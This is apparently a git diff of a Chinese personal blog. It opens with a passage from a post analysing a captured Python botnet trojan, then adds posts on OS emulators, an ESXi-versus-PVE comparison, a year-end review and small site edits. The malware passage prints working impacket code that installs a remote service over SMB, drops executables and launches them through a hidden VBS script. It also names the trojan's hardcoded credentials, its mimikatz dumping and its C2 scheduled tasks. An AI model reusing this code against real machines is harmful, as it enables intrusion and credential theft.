|
||||||
|
s.setTimeout(30000)
|
||||||
|
installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc())
|
||||||
|
installService.install()
|
||||||
|
if self.__copyFile:
|
||||||
|
try:
|
||||||
|
installService.copy_file(self.__copyFile, installService.getShare(), 'temp\\svchost.exe')
|
||||||
|
except:
|
||||||
|
print 'file exist'
|
||||||
|
|
||||||
|
tid = s.connectTree('IPC$')
|
||||||
|
fid_main = self.openPipe(s, tid, '\\RemCom_communicaton', 1180063)
|
||||||
|
packet = RemComMessage()
|
||||||
|
pid = os.getpid()
|
||||||
|
packet['Machine'] = ('').join([random.choice(string.letters) for _ in range(4)])
|
||||||
|
packet['ProcessID'] = pid
|
||||||
|
if self.__exeFile:
|
||||||
|
if self.__fr == '1':
|
||||||
|
installService.copy_file(self.__exeFile, installService.getShare(), 'temp\\updll.exe')
|
||||||
|
self.__command = self.__command.replace('"', '""')
|
||||||
|
vbs_cmd = '\n Set ws = CreateObject("WScript.Shell")\n ws.Run "%s",0\n Set ws = CreateObject("WScript.Shell")\n ws.Run "..\\\\temp\\\\updll.exe",0 \n ' % self.__command
|
||||||
|
elif self.__fr == '3':
|
||||||
|
installService.copy_file(self.__exeFile, installService.getShare(), 'temp\\setup-install.exe')
|
||||||
|
self.__command = self.__command.replace('"', '""')
|
||||||
|
vbs_cmd = '\n Set ws = CreateObject("WScript.Shell")\n ws.Run "%s",0\n Set ws = CreateObject("WScript.Shell")\n ws.Run "..\\\\temp\\\\setup-install.exe",0 \n ' % self.__command
|
||||||
|
else:
|
||||||
|
installService.copy_file(self.__exeFile, installService.getShare(), 'temp\\upinstalled.exe')
|
||||||
|
self.__command = self.__command.replace('"', '""')
|
||||||
|
vbs_cmd = '\n Set ws = CreateObject("WScript.Shell")\n ws.Run "%s",0\n Set ws = CreateObject("WScript.Shell")\n ws.Run "..\\\\temp\\\\upinstalled.exe",0 \n ' % self.__command
|
||||||
|
installService.copy_file(StrReader(vbs_cmd.strip()), installService.getShare(), 'temp\\tmp.vbs')
|
||||||
|
self.__command = 'cmd /c call "c:\\windows\\temp\\tmp.vbs"'
|
||||||
|
packet['Command'] = self.__command
|
||||||
|
print self.__command
|
||||||
|
s.writeNamedPipe(tid, fid_main, str(packet))
|
||||||
|
LastDataSent = ''
|
||||||
|
stdin_pipe = RemoteStdInPipe(rpctransport, '\\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']), smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, installService.getShare())
|
||||||
|
stdin_pipe.start()
|
||||||
|
stdout_pipe = RemoteStdOutPipe(rpctransport, '\\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']), smb.FILE_READ_DATA)
|
||||||
|
stdout_pipe.start()
|
||||||
|
stderr_pipe = RemoteStdErrPipe(rpctransport, '\\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']), smb.FILE_READ_DATA)
|
||||||
|
stderr_pipe.start()
|
||||||
|
time.sleep(1)
|
||||||
|
installService.uninstall()
|
||||||
|
s.deleteFile(installService.getShare(), 'temp\\tmp.vbs')
|
||||||
|
unInstalled = True
|
||||||
|
return True
|
||||||
|
except SystemExit:
|
||||||
|
return False
|
||||||
|
except:
|
||||||
|
if unInstalled is False:
|
||||||
|
time.sleep(1)
|
||||||
|
installService.uninstall()
|
||||||
|
s.deleteFile(installService.getShare(), 'temp\\tmp.vbs')
|
||||||
|
return False
|
||||||
|
```
|
||||||
|
|
||||||
|
# 行为分析
|
||||||
|
那这个代码都干了些什么呢?首先动态分析一下吧,我用微步云沙箱检查了一下,不过好像有人已经上传过了,[这个是报告](https://s.threatbook.com/report/file/60b6d7664598e6a988d9389e6359838be966dfa54859d5cb1453cbc9b126ed7d)。好像也没啥特别的,先给445端口开了个防火墙,估计是防止其他人利用永恒之蓝入侵,然后整了几个请求几个“beahh.com”域名的定时任务,另外就是同网段扫描啥的,应该是找其他机器继续尝试用漏洞入侵感染这个木马。
|
||||||
|
之后再看看代码,干的基本上确实是这些事情,主要就是利用永恒之蓝漏洞然后各种扫描,似乎有创假的系统用户的操作,不过没太看懂,扫描的时候除了用漏洞和弱密码之外好像还用了个“k8h3d:k8d3j9SjfS7”的用户?这是连别家的僵尸网络的节点吧,入侵完还给它删了🤣,还有加定时任务,然后用mimikatz把这台机器的密码存到“c:\windows\temp\mkatz.ini”这个文件里,扫描的时候也使用这里获取的密码,可能是考虑有些集群全都用一样的用户名和密码吧。木马的作者应该会利用那些定时任务发布指令,有可能会把密码拿走或者干别的事情吧。
|
||||||
|
不过定时任务里写的那个地址已经访问不到了(就连获取IP的接口也请求不通了),我在网上搜了一下看行为应该是这个[搞门罗币挖矿的木马](https://blog.checkpoint.com/2019/03/19/check-point-forensic-files-monero-cryptominer-campaign-cryptojacking-crypto-apt-hacking/),代码里没有体现,有可能是那个域名对应的远控服务器干的。不过这篇文章是2019年的,估计作者已经进去了吧,所以访问不到服务器😂,但是5年过去了,他的木马还在忠实的为他寻找肉鸡并等待他发布指令😭,这就是僵尸网络的魅力吧。
|
||||||
|
|
||||||
|
# 感想
|
||||||
|
用Python写的木马也挺有意思啊,这个代码中用到“[impacket](https://github.com/fortra/impacket)”库我还是头一次了解,看起来可以封装各种各样的网络包,感觉说不定会有项目能用得上,看这个代码也是学到了啊……
|
||||||
|
如果我能有属于自己的僵尸网络能不能让我的项目永存呢?不过这些感染了木马的老服务器总有一天会被淘汰掉,新的服务器肯定不会装Windows Server 2008这样超老的系统 ~~(我除外🤣)~~ ,而且现在新的系统漏洞越来越少了,想要出现像当年永恒之蓝那样的漏洞估计不太可能了,在未来估计就不会存在僵尸网络了……所以这还是做不到永存啊……
|
||||||
@@ -0,0 +1,32 @@
|
|||||||
|
---
|
||||||
|
layout: post
|
||||||
|
title: 关于OS模拟器的探索
|
||||||
|
tags: [模拟器, Windows, Android, Linux, macOS]
|
||||||
|
---
|
||||||
|
|
||||||
|
在一个系统模拟另一个系统有多困难呢?<!--more-->
|
||||||
|
|
||||||
|
# 起因
|
||||||
|
前段时间我在网上和人聊天的时候谈到了安卓模拟器,在我看来所有除了Linux上可以使用例如Waydroid的[容器原生运行Android](/2023/12/24/android.html)之外,其他系统只能通过虚拟机的方式运行,毕竟不用虚拟机能在完全不相干的系统上运行安卓我感觉还是挺不可思议的。不过随后就被打脸了🤣,网易在前几年出过一个包含“星云引擎”的安卓模拟器——[MuMu Nebula](https://www.mumuplayer.com/mumu-nebula.html),据说这个模拟器是不需要使用虚拟化技术的。所以这次我打算探索一下这个安卓模拟器和它类似的模拟器。
|
||||||
|
|
||||||
|
# 关于虚拟机和模拟器的区别
|
||||||
|
在我看来,模拟硬件的就是虚拟机,模拟软件的就是模拟器。不过现在这些挺难分的,融合的也挺多。比如QEMU+KVM使用硬件虚拟化显然是虚拟机,QEMU System模式使用二进制翻译的方式模拟硬件也是虚拟机,但是QEMU User模式使用了当前系统的资源,没有模拟硬件,所以应该是模拟器(不过也有叫仿真器的?)……不过也许不是这样?模拟指令集也算虚拟了一个CPU吧,像Java虚拟机似乎就是这样,只是单模拟一个CPU叫虚拟机又感觉不太对……并且macOS的Rosetta 2甚至还有硬件加速(硬件模拟x86的内存一致性模型?),还有用了AOT已经翻译完的程序再执行那应该不算模拟器吧……另外还有什么容器之类的……搞得这些概念很难分清。
|
||||||
|
那至少使用了硬件虚拟化技术的肯定是虚拟机吧?其实这也不一定,现在的Windows有个叫“基于虚拟化的安全性”的功能使用了硬件虚拟化技术,但是不能说现在的Windows是运行在虚拟机上吧?这些大公司搞的乱七八糟的黑科技把我都绕晕了😂。
|
||||||
|
总之接下来我要说的模拟器是一定基于某个系统,然后模拟另一个系统的环境,不使用硬件虚拟化技术,而且翻译的不是「指令集」,而是「系统调用」,这样感觉才算我心目中的模拟器🫠,也就是OS模拟器。
|
||||||
|
|
||||||
|
# 各种各样的OS模拟器
|
||||||
|
## MuMu Nebula(Windows模拟Android)
|
||||||
|
既然是因为网易的模拟器进行的探索,肯定要先讲这个啦。首先看介绍,它是专为“低端电脑”制作的模拟器,所以整个软件都是32位的,而且不用VT,说明老到不支持硬件虚拟化的CPU都可以运行(不过那样的CPU估计至少是15年前的吧😝)。安装后首先会下载Android的镜像,但不像其他安卓模拟器最后使用的是一个磁盘镜像文件,而是像WSL1那样把所有文件都放在一个文件夹里。至于里面的文件就是和正常的32位Android x86差不多,甚至还有兼容ARM的libhoudini.so文件。然后启动模拟器后可以在任务管理器中看到有许多“nebula.exe”进程,这让我想到了Wine,看起来在模拟器中的每个安卓进程都对应着一个“nebula.exe”进程。这么来看这个星云引擎应该相当于安卓特别精简版的WSL1。
|
||||||
|
其实当时WSA出之前,我以为微软会用WSL1的技术做WSA,结果和WSL2一起用了虚拟机,太令人失望了😅。而且用类似WSL1技术的居然还让网易整出来了……虽然到现在WSA已经凉了,这个星云引擎也是没什么热度,不过单从技术上来说我觉得还是这种要好,因为这种模拟器省**内存**,可以共用**磁盘空间**,不像其他模拟器,就算虚拟机有什么气球驱动动态调整分配的内存,总是不如这种现用现申请的好。不过从速度上来说和虚拟机版安卓模拟器拉不开什么差距,技术难度估计也比虚拟机高很多,大概因为这样,所以它也凉了吧。
|
||||||
|
## WSL1(Windows模拟Linux)
|
||||||
|
网易那个就挺像WSL1的,不过很明显WSL1出的早,另外和Windows结合的更深,可以直接在任务管理器中管理WSL1中的进程。虽然有些人说WSL1的BUG很多,但对我来说我是一个都没碰到过,用起来还是挺不错的……虽然不支持Docker,这也是它对我来说唯一的缺陷。不过我要是用Docker一般是在Hyper-V中单独安一个虚拟机来操作,因为WSL2和Docker desktop的内存不好控制,虚拟机限制起来比较方便。如果需要在Windows用到Linux的时候就安WSL1,因为省内存,而且和Windows共用同一个IP。不过要是安装了Nvidia显卡的话好像还是得用WSL2?我一般没这个需求所以不存在这种问题。
|
||||||
|
## Darling(Linux模拟macOS)
|
||||||
|
之前我在玩旧电脑的时候试过[Darling](/2024/04/06/old-pc.html#%E5%85%B3%E4%BA%8Edarling%E7%9A%84%E6%8E%A2%E7%B4%A2),不过用的都是超老的电子垃圾,因为指令集的原因费了不少功夫才跑起来😂,不过就算用正常电脑跑这个感觉也没啥意义,除了项目本身很不成熟,很多软件跑不起来,另外到现在也没有做出来ARM版,x86的macOS马上就要被抛弃了,如果没有搞出ARM版,这个项目就更没什么意义了。
|
||||||
|
## Wine(Linux/macOS模拟Windows)
|
||||||
|
Wine我用的还挺多的,因为我现在用的是MacBook,[在macOS上玩Windows游戏](/2023/10/21/game.html#%E4%BD%BF%E7%94%A8wine%E6%B8%B8%E7%8E%A9windows%E6%B8%B8%E6%88%8F)就得用Wine,另外也[在树莓派上试过ExaGear+Wine](/2024/10/13/arm-linux.html#%E8%BD%AC%E8%AF%91%E5%BA%94%E7%94%A8%E6%B5%8B%E8%AF%95),其实说来这个项目和使用虚拟机相比,不仅更省内存,而且性能要比虚拟机好得多,除了兼容性不太行之外其他都挺好的,看来省内存是模拟器的特色啊。
|
||||||
|
## 其他古董模拟器
|
||||||
|
这种倒是挺多的,像DOSBox,还有GBA模拟器之类的,我以前在手机上就试过[用DOSBox Turbo安装Windows3.2](/2020/09/27/vm.html#%E6%89%8B%E6%9C%BA%E7%9A%84%E8%99%9A%E6%8B%9F%E6%9C%BA%E4%BD%BF%E7%94%A8%E5%8F%B2),也用GBA模拟器玩过宝可梦,不过这些其实不算我心目中的模拟器😆,因为它们不是翻译的系统调用,而是模拟了一块古董CPU,然后装了对应的系统能直接用,只不过大家都说这类算模拟器所以提了一下。
|
||||||
|
|
||||||
|
# 感想
|
||||||
|
看起来模拟器相比虚拟机还是有很多优势啊,省**内存**这一优势还是很重要的,虽然现在内存倒是不贵 ~~(苹果内存除外🤣)~~ ,但是消耗本不必要的内存就是浪费吧。只不过这种东西对技术要求果然还是太高了,实在是费力不讨好,所以没有企业愿意投入精力来做,所以就都凉了啊……
|
||||||
|
不过Wine倒是活得不错,大概是因为Windows的软件太多了吧……生态很重要啊。
|
||||||
@@ -0,0 +1,40 @@
|
|||||||
|
---
|
||||||
|
layout: post
|
||||||
|
title: ESXi和PVE的使用体验与对比
|
||||||
|
tags: [ESXi, PVE, 虚拟机]
|
||||||
|
---
|
||||||
|
|
||||||
|
装虚拟机用什么系统更好呢?<!--more-->
|
||||||
|
|
||||||
|
# 起因
|
||||||
|
前段时间我有个需要开很多机器的需求,为了方便管理和提高资源利用率,当然是上虚拟机比较合适。那用什么系统上虚拟机好呢?Windows上用Hyper-V当然也是不错的选择,但是我觉得Windows的基础占用太高了,另外Hyper-V的操作面板也不怎么样,所以就不考虑了。那用什么呢?之前我上大学的时候用过ESXi,在随身携带的U盘里上正好有一份,一直没删,所以就顺手给手头的工作站安了一下。不过我当时用的版本很旧了,是6.7,虽然也不是不能用,但是考虑到这个版本之前有RCE漏洞,所以去sysin上下了一份最终版的6.7U3u更新包更新了上去,以后就不再更新了。
|
||||||
|
不过除了ESXi之外还有别的选择,我看很多人都拿PVE和ESXi比较。虽然经常听说PVE但是我没有用过,所以就在另一个工作站上安装了PVE试试看哪个用起来更好。不过和PVE比的其实不该是ESXi,而是VMWare vSphere,只不过我两个系统都是一台机器,也用不着搞集群,找破解版还麻烦。所以其实我是拿ESXi的VMware Host Client和PVE进行对比。
|
||||||
|
另外从本质来说它们也不是一个东西,PVE更像是Debian上一个管理虚拟化的面板,ESXi是VMKernel附带了个可以临时使用的Web端面板,侧重点不一样。
|
||||||
|
|
||||||
|
# ESXi和PVE的对比
|
||||||
|
## 界面与体验
|
||||||
|
首先从界面来看两个系统长得其实差不太多,不过左侧导航栏有点不太一样,把PVE的导航栏改成文件夹视图就和ESXi的差不多了。从界面上来说我更喜欢ESXi的界面,PVE的感觉没什么设计感。不过PVE面板的数据是1秒刷新一次的,ESXi就算配置刷新也只能最短每15秒刷新一次。从功能上来说可能PVE会更好一点。另外对于显示的图表来说PVE全在“概要”里,在ESXi都在“监控”里,虽然PVE的图表更多,但是有些感觉没什么意义,因为PVE是基于Linux的,所以有“负载”这个指标,不过对于虚拟机系统来说感觉意义不大啊……不过也可能是因为用了LXC容器之后会影响PVE的负载所以整了这个项目?
|
||||||
|
另外PVE还有个好处是可以看CPU温度,我看有一个叫“[pvetools](https://github.com/ivanhao/pvetools)”的工具可以配置在界面上显示CPU频率和温度,ESXi没有IPMI的话用啥办法都看不到CPU温度😅。
|
||||||
|
## 虚拟机管理
|
||||||
|
ESXi和PVE创建虚拟机都挺简单的,都有专门的向导。不过我测试PVE的时候选择安装Windows 10,它推荐的架构居然是i440fx机器和SeaBIOS固件,虽然也不是不能用,但它怎么选了个最垃圾的,虽然选成Windows 11是推荐的q35和UEFI引导……而且SCSI控制器还选了个要驱动的半虚拟化设备,但PVE没有自带这个驱动包啊,这些都是不小的坑。而ESXi就正常多了,选择Windows 10会默认使用UEFI引导,而且会选择一个兼容性最好的SCSI控制器和网络适配器,便于没有安装驱动的时候能正常使用,另外ESXi是自带VMWare Tools的,在系统安装完成后可以直接挂载安装,比PVE的体验好很多。另外PVE还有一个坑,那就是CPU默认会用QEMU自己的一个类型,那个在虚拟机里就读不到CPU的型号了,而且性能会打折扣。不过这个倒也能理解,毕竟PVE是给集群设计的,在迁移到其他节点的时候选host可能在迁移到不同CPU的节点时会出现问题。不过ESXi也是啊……怎么它就没有这种问题?总之PVE不适合小白。
|
||||||
|
PVE相比ESXi多了个特性,那就是LXC容器,因为PVE是基于Linux的,所以可以创建容器。这个体验倒是还行,可以直接在面板上下载模版,创建也没什么坑,配好之后和虚拟机几乎一模一样,甚至还能在上面安装Docker,IP也是独立分配的,用起来还不错。
|
||||||
|
## 存储管理
|
||||||
|
PVE相比ESXi在存储上能选的花里胡哨的东西有点多,默认它会把系统盘配置成LVM,然后单独分了个LVM-Thin的东西,两个容量不互通。这个LVM-Thin好像是只能用来存磁盘,而且看不到东西到底存在哪里了,我搜了一下好像是说这个LVM-Thin可以用多少占多少空间……我寻思qcow2格式的磁盘也有这个功能啊,而且raw格式的磁盘文件是稀疏文件,也是用多少占多少啊……两个容量不互通还浪费磁盘空间,然后我就把这个LVM-Thin删掉了,把系统盘扩容到整个磁盘,然后在存储里面允许local存储磁盘映像之类的。
|
||||||
|
除此之外PVE还支持ZFS,相当于软RAID,但是它是文件系统层面支持的,不需要初始化。我手头有3块机械盘,插在上面组了个RAIDZ,可以允许坏任意1块。组好之后可以用来存储磁盘映像和容器的数据。
|
||||||
|
ESXi的话就只能把盘格式化成VMFS6的文件系统,要么还能挂iSCSI当作磁盘或者NFS作为数据存储,如果要分布式存储应该只能搭到别的机器上然后用iSCSI挂过来,阵列看起来只能是硬RAID,ESXi并不提供软RAID的选项,也不支持挂SMB、CephFS、ZFS之类乱七八糟的东西,PVE在这一方面因为基于Linux系统发挥了很大的优势,只要Linux能挂的它就能挂。
|
||||||
|
## 网络管理
|
||||||
|
在PVE上的网络是用的Linux Bridge,安装的时候会强制要求静态IP,不过毕竟是Linux,可以修改配置让它使用DHCP。不过看起来PVE上似乎没有配置NAT的选项,当然作为Linux来说肯定是有办法配的。ESXi用的叫做虚拟交换机,配置冗余也是在这里配置,PVE的话应该要先配置Bond然后再配置网桥。
|
||||||
|
另外ESXi对网卡要求很高,不是服务器或者工作站,用的比如什么瑞昱的网卡都是不识别的,要额外安装驱动才行,这也是PVE的优势,Linux兼容什么,它就兼容什么。不过对于大公司来说,也不可能用家用电脑当服务器使🤣,所以就算是用ESXi也不存在这种问题。
|
||||||
|
## PCI直通
|
||||||
|
在这一方面ESXi的体验就比PVE要好很多,直接在“管理”——“硬件”——“PCI设备”里面就可以配置显卡直通之类的,没有什么复杂的配置,直接点“切换直通”然后重启就可以在虚拟机里配置了(当然VT-d之类的东西要提前开)。
|
||||||
|
PVE我最开始配直通的时候是直接网上搜的,那个pvetools也可以帮助配置PCI直通之类的,用这个工具配完之后就可以在虚拟机里添加了。不过在我添加的时候发现它有个“映射的设备”这个选项,用刚才那个工具配置完之后要选“原始设备”,然后我就想着这两个有什么区别,结果发现“数据中心”——“资源映射”里面有个PCI设备的选项😂,也许从一开始我就做错了,直接用这个添加就可以了吧?只不过因为我已经用那个工具配置过了,怕在这里加了会冲突,所以就算啦。
|
||||||
|
另外PVE的PCI直通还有个好处就是在5-10代的IntelCPU可以用Intel GVT-g技术把核显拆成多个显卡,像虚拟机如果要是需要显卡的话用这个就不用插一堆显卡给虚拟机分配了。ESXi的话只支持SR-IOV拆分,这个只有11代之后的Intel核显才可以用……我用的这两台工作站都是Intel6代的U,所以在ESXi只能把整个核显直通分给某台机器了……
|
||||||
|
## 硬盘直通
|
||||||
|
硬盘直通有两种方式,一种是把控制器直通了,另外是只直通某个磁盘,在ESXi上叫RDM直通。我的主板只有一个SATA控制器,而且没有NVME硬盘,所以直通控制器肯定不行,这样会导致虚拟机管理系统读不到硬盘然后挂掉,所以要直通就只能直通某个硬盘。
|
||||||
|
ESXi直通硬盘有点复杂,要打开SSH,然后用命令创建RDM磁盘文件,挂载到虚拟机就可以了。不过我操作的时候不知道为什么网页出BUG了,加载磁盘文件之后什么都读不到,然后也不能保存,最后没办法只能修改vmx文件进行挂载了……
|
||||||
|
PVE的话我感觉它的直通更像是把整个硬盘的设备文件作为一个磁盘映像来挂载到虚拟机上了,但是PVE不允许在界面上挂载在指定存储以外的文件,所以就只能通过命令来挂载……
|
||||||
|
两个从功能来说都没问题,不过PVE挂载完之后磁盘显示的是“QEMU HARDDISK”,而且SMART信息是瞎编的,ESXi挂载之后可以看到磁盘名字、序列号,另外SMART信息也能看到(至少我用的ESXi 6.7U3u是可以的)。不过PVE可以在面板上看SMART信息,ESXi就只能登SSH敲命令看了……不过要是有IPMI应该也是能获取到硬盘的健康信息的。
|
||||||
|
|
||||||
|
# 总结
|
||||||
|
从上面来看PVE的功能是要更多的,但是使用起来不如ESXi友好,坑也比较多,对于不想花时间解决问题的人来说用ESXi会更好一些,当然ESXi也并不是免费产品,它是VMWare vSphere的一个组件,VMWare vSphere是收费的,而PVE是免费的,可以付费获得额外的更新和服务,对于个人而言当然无所谓,两个肯定都不会有个人花钱买,至于公司的话……大公司选择VMWare vSphere当然会更好一些,肯定对运维会很友好,PVE的话小公司免费用会更合适一点。
|
||||||
|
至于哪个我觉得更好……我还是更倾向于用ESXi,虽然PVE功能很多,但是毕竟PVE底层是Linux,我怕乱配给配崩了🤣,ESXi的话就没有那么多会让用户搞坏的地方,所以更稳定啊。
|
||||||
@@ -0,0 +1,19 @@
|
|||||||
|
---
|
||||||
|
layout: post
|
||||||
|
title: 年终总结
|
||||||
|
tags: [总结]
|
||||||
|
---
|
||||||
|
|
||||||
|
All Systems Operational.<!--more-->
|
||||||
|
|
||||||
|
# 2024年的状态
|
||||||
|
在过去的一年里,其实相比之前感觉好了一些,工作了一年多感觉什么事情都没有发生。这么看来在上学期间确实是痛苦啊,有人说出了学校会更加痛苦,至少在我看来并没有发生这种事情。不过也正是没有发生什么大事,所以感觉稍微有点无聊,但是我不讨厌,因为我知道刺激的生活并不会有趣,虽然可能会错过一些机会和有趣的事情,但是也降低了碰上危险和讨厌的事情的风险,还是安稳一些比较好。
|
||||||
|
|
||||||
|
# 2024年发生的事情
|
||||||
|
虽然这一年里没发生什么大事,不过小事肯定还是有些的。其实我的记忆能力还是一如既往的差,和去年一样,什么都想不起来,现在我顶多能记起半年左右的事情。令我记忆比较深刻的事情大概就是国庆节前后发生的事情,那段时间A股突然大涨,我受到家里人和自己的贪心以及在那之前手头的债券基金跌了一些等影响,入了一点进去,然后第二天就吃了跌停🤣。随后我就退出股市,不打算再玩了。还好之后的A股就再没有起来过(尤其是一年的最后一天再来一次大跌🤣),要不是我当机立断退出,可能就永无天日吧😅(虽然还是亏了不少😥,不过影响不大)。
|
||||||
|
我平时还是挺节俭的,虽然我知道节约并不能让我更有钱,但节约一点至少可以用的多一些。而自从我上次一天就消费掉几千块钱,什么都没换来之后,我知道了这简直毫无意义,省吃俭用也不如一次大跌。不过我知道了,如果想达成目标,就不要瞎搞,不要考虑投资的事情。但是市场环境仍然需要考虑,不能因为其他人的行为影响到了我的目标,也许换成黄金是最好的选择,只是我仍然没法下定决心,也许只有什么契机才可以吧。在那之前我仍然不会改变我的行为,我还是不会提高我的消费水平😂。
|
||||||
|
除此之外令我印象比较深刻的事情还是AI,这一年里LLM发展的比我想象的更加厉害,现在各行各业已经全面在用了,成本也比之前低得多,不像之前用AI的成本还稍微有些高,现在基本上都是免费的,而且效果也比之前好很多,像知名AI直播主[Neuro-sama](https://www.twitch.tv/vedal987)的表现相比之前也好多了,逻辑性和整活能力也更强了(虽然我只看切片可能判断上还是有些片面)。至于我因为AI的广泛发展也给我的博客加上了[AI摘要](/2024/07/03/ai-summary.html),[知识库问答](/2024/09/27/rag.html) 以及[相似文章推荐](/2024/10/01/suggest.html),另外从我做完之后也进行了大力推广让其他站长也用上了我写的AI摘要,也算是对AI发展的回应了。
|
||||||
|
|
||||||
|
# 2025年的计划
|
||||||
|
既然2024年没有发生什么特别的事情,那我希望2025年也不要发生什么事情,就像我在[2023年的年终总结](/2024/01/01/summary.html)所说,未来10年都要如一日,工作日上班,下班了玩电脑,休息日睡觉,节假日回家,不要做多余的事情,只要环境没有什么变化,就不要进行多余的操作,这样才能安稳的到达马拉松的终点。
|
||||||
|
至于其他事情,有趣的研究如果碰上了我依然会去做,做完之后就写篇博客😊。虽然说写多了之前写的我自己可能都忘了,不过总有些有用的东西,可以在我需要的时候进行参考,而且写多了之后拿来训练AI说不定能做一个和我想法一样的AI呢,到时候就可以代替我想问题了😆。
|
||||||
+2
-2
@@ -56,7 +56,7 @@ title: 首页 - 我的文章
|
|||||||
<p>
|
<p>
|
||||||
<h2>其他页面</h2>
|
<h2>其他页面</h2>
|
||||||
|
|
||||||
<a href="{% unless site.github %}https://mabbs.github.io{% endunless %}/pixiv-index/">Pixiv图片索引API</a><br>
|
<a href="/service.html">Mayx的公开服务</a><br>
|
||||||
|
|
||||||
<a href="{% unless site.github %}https://mabbs.github.io{% endunless %}/karyl-yabaival/">拯救凯露</a><br>
|
<a href="{% unless site.github %}https://mabbs.github.io{% endunless %}/karyl-yabaival/">拯救凯露</a><br>
|
||||||
|
|
||||||
@@ -66,7 +66,7 @@ title: 首页 - 我的文章
|
|||||||
|
|
||||||
<a href="/proxylist.html">代理列表</a><br>
|
<a href="/proxylist.html">代理列表</a><br>
|
||||||
|
|
||||||
<a href="https://mabbs.github.io/MayxDaily/">Mayx日报</a><br>
|
<!-- <a href="https://mabbs.github.io/MayxDaily/">Mayx日报</a><br> -->
|
||||||
|
|
||||||
<br>
|
<br>
|
||||||
</p>
|
</p>
|
||||||
|
|||||||
+3
-3
@@ -17,7 +17,7 @@ $(function(){
|
|||||||
$("div.live_ico_box").fadeOut();
|
$("div.live_ico_box").fadeOut();
|
||||||
});
|
});
|
||||||
function showHitS(hits) {
|
function showHitS(hits) {
|
||||||
$.get("https://summary.mayx.eu.org/count_click?id="+hits.id,function(data){
|
$.get(BlogAPI + "/count_click?id=" + hits.id, function (data) {
|
||||||
hits.innerHTML = Number(data);
|
hits.innerHTML = Number(data);
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
@@ -30,7 +30,7 @@ function showHitCount() {
|
|||||||
}
|
}
|
||||||
function addCount() {
|
function addCount() {
|
||||||
var visitors = $(".visitors");
|
var visitors = $(".visitors");
|
||||||
$.get("https://summary.mayx.eu.org/count_click_add?id="+visitors[0].id,function(data){
|
$.get(BlogAPI + "/count_click_add?id=" + visitors[0].id, function (data) {
|
||||||
visitors[0].innerHTML = Number(data);
|
visitors[0].innerHTML = Number(data);
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
@@ -53,4 +53,4 @@ if (daysold > 90) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
var message_Path = '/Live2dHistoire/live2d/';
|
var message_Path = '/Live2dHistoire/live2d/';
|
||||||
var talkAPI = "https://turing-api.mayx.eu.org/";
|
var talkAPI = BlogAPI + "/ai_chat";
|
||||||
|
|||||||
@@ -8,7 +8,7 @@ tags: [links]
|
|||||||
|
|
||||||
| Links | Introduce |
|
| Links | Introduce |
|
||||||
| - | - |
|
| - | - |
|
||||||
| [花火学园](https://www.sayhuahuo.shop/) | 和谐融洽的ACG交流以及资源聚集地 |
|
| [花火学园](https://www.sayhanabi.net/) | 和谐融洽的ACG交流以及资源聚集地 |
|
||||||
| [资源统筹局](https://gkdworld.com/) | 统筹保管用户分享的资源 |
|
| [资源统筹局](https://gkdworld.com/) | 统筹保管用户分享的资源 |
|
||||||
| [贫困的蚊子](https://mozz.ie/) | *No description* |
|
| [贫困的蚊子](https://mozz.ie/) | *No description* |
|
||||||
| [极客兔兔](https://geektutu.com/) | 致力于分享有趣的技术实践 |
|
| [极客兔兔](https://geektutu.com/) | 致力于分享有趣的技术实践 |
|
||||||
|
|||||||
+1
-2
@@ -12,9 +12,9 @@ title: 代理列表
|
|||||||
(根据可能的可用性排序)
|
(根据可能的可用性排序)
|
||||||
- <https://blog.mayx.workers.dev/> <img src="https://blog.mayx.workers.dev/images/online.svg" style="width:22px;vertical-align: bottom" onerror="this.src = '/images/offline.svg'"/>
|
- <https://blog.mayx.workers.dev/> <img src="https://blog.mayx.workers.dev/images/online.svg" style="width:22px;vertical-align: bottom" onerror="this.src = '/images/offline.svg'"/>
|
||||||
- <https://mayx.deno.dev/> <img src="https://mayx.deno.dev/images/online.svg" style="width:22px;vertical-align: bottom" onerror="this.src = '/images/offline.svg'"/>
|
- <https://mayx.deno.dev/> <img src="https://mayx.deno.dev/images/online.svg" style="width:22px;vertical-align: bottom" onerror="this.src = '/images/offline.svg'"/>
|
||||||
- <https://mayx.serv00.net/> <img src="https://mayx.serv00.net/images/online.svg" style="width:22px;vertical-align: bottom" onerror="this.src = '/images/offline.svg'"/>
|
|
||||||
- <https://mayx.glitch.me/> <img src="https://mayx.glitch.me/images/online.svg" style="width:22px;vertical-align: bottom" onerror="this.src = '/images/offline.svg'"/>
|
- <https://mayx.glitch.me/> <img src="https://mayx.glitch.me/images/online.svg" style="width:22px;vertical-align: bottom" onerror="this.src = '/images/offline.svg'"/>
|
||||||
- <https://yuki.gear.host/> <img src="https://yuki.gear.host/images/online.svg" style="width:22px;vertical-align: bottom" onerror="this.src = '/images/offline.svg'"/>
|
- <https://yuki.gear.host/> <img src="https://yuki.gear.host/images/online.svg" style="width:22px;vertical-align: bottom" onerror="this.src = '/images/offline.svg'"/>
|
||||||
|
- <https://mayx.serv00.net/> <img src="https://mayx.serv00.net/images/online.svg" style="width:22px;vertical-align: bottom" onerror="this.src = '/images/offline.svg'"/>
|
||||||
|
|
||||||
# 镜像列表
|
# 镜像列表
|
||||||
由于[Github已经不再可信](/2022/01/04/banned.html),所以现在提供以下镜像站:
|
由于[Github已经不再可信](/2022/01/04/banned.html),所以现在提供以下镜像站:
|
||||||
@@ -25,7 +25,6 @@ title: 代理列表
|
|||||||
- <https://mayx.netlify.app/> <img src="https://mayx.netlify.app/images/online.svg" style="width:22px;vertical-align: bottom" onerror="this.src = '/images/offline.svg'"/>
|
- <https://mayx.netlify.app/> <img src="https://mayx.netlify.app/images/online.svg" style="width:22px;vertical-align: bottom" onerror="this.src = '/images/offline.svg'"/>
|
||||||
- <https://mayx.4everland.app/> <img src="https://mayx.4everland.app/images/online.svg" style="width:22px;vertical-align: bottom" onerror="this.src = '/images/offline.svg'"/>
|
- <https://mayx.4everland.app/> <img src="https://mayx.4everland.app/images/online.svg" style="width:22px;vertical-align: bottom" onerror="this.src = '/images/offline.svg'"/>
|
||||||
